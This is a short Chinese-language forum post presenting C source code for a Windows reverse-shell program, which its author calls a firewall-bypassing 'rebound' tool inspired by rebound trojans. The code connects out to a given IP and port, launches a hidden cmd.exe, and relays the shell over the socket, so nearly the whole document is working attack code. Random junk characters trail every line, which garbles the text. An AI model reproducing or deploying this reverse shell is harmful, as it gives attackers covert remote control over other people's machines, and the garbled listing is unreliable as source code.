这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vaj66nV
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/* ============================== O^}v/}d
Rebound port in Windows NT ,w%oSlOu
By wind,2006/7 %<?ciU
===============================*/ {F:v$ K
#include -L9R&r#_e
#include ^V}R(gDu}s
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#pragma comment(lib,"wsock32.lib") "rGOw'!q>
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void OutputShell(); %?f:"
SOCKET sClient; R9l7CJM@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d=Do@)
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void main(int argc,char **argv) d_C4B
{ ]zyX@=mM
WSADATA stWsaData; hRr1#'&
int nRet; }E5#X R
SOCKADDR_IN stSaiClient,stSaiServer; }6J7<g
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if(argc != 3) fhV0S>*<
{ C,r`I/;
printf("Useage:\n\rRebound DestIP DestPort\n"); +%wWSZ<#
return; ^%8qKC`Tt
} ck+b/.gw`
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WSAStartup(MAKEWORD(2,2),&stWsaData); `\jTpDV_W
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =V"(AuCVE
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stSaiClient.sin_family = AF_INET; #M A4
stSaiClient.sin_port = htons(0); 4[r/}/iGo
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P]z[v)}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #lU9yv
{ .5!t:FPOv
printf("Bind Socket Failed!\n"); 42L
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return; #Wu*3&a]yU
} @AYRiOodi
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stSaiServer.sin_family = AF_INET; 0EJ(.8hwm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2S' {!A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a6kV!,.U
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _4 cvX
{ pStk/te,XK
printf("Connect Error!"); {)AMw q
return; P9T5L<5
} aTBR|US
OutputShell(); @*
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} 16SOIT
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void OutputShell() i_][PTH
{ {,OS-g
char szBuff[1024]; z6py"J@
SECURITY_ATTRIBUTES stSecurityAttributes; p\{-t84n
OSVERSIONINFO stOsversionInfo; ];%0qb
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u{z``]
STARTUPINFO stStartupInfo; 7RDDdF E!
char *szShell; ps$7bN C
PROCESS_INFORMATION stProcessInformation; N8`?t5
unsigned long lBytesRead; e|4&b@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8.bKb<y
stSecurityAttributes.lpSecurityDescriptor = 0; |y20Hi':
stSecurityAttributes.bInheritHandle = TRUE; >yJ9U,Y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _tr<}PnZ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6WoAs)ZF
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fJZp?e"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ceGa([#!\_
stStartupInfo.wShowWindow = SW_HIDE; Q
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stStartupInfo.hStdInput = hReadPipe; zY+Fl~$S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /m _kn
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GetVersionEx(&stOsversionInfo); aQ j*KMc
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switch(stOsversionInfo.dwPlatformId) 80M;4nH^5
{ )rLMIk
case 1: -yDs<
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szShell = "command.com"; %7`f{|.
break; juBw5U<
default: 6a}"6d/sTL
szShell = "cmd.exe"; J/);"bg_O
break; >MJ?g-
} c.\O/N
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M\b")Tu{0
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send(sClient,szMsg,77,0); .ut{,(5
while(1) dMx4ykrR
{ >Q,zNs
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9]$8MY
if(lBytesRead) <*H^(0
{ \bCX=E-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m"c :"I6
send(sClient,szBuff,lBytesRead,0); b{DiM098
} B@Nt`ky0*
else bshGS8O
{ :PbDU$x
lBytesRead=recv(sClient,szBuff,1024,0); Rd+P,PO
if(lBytesRead<=0) break; &@"]+33
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rg(lCL&:S
} "HM{b?N
} !\[+99F#
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return; v}J;ZIb
}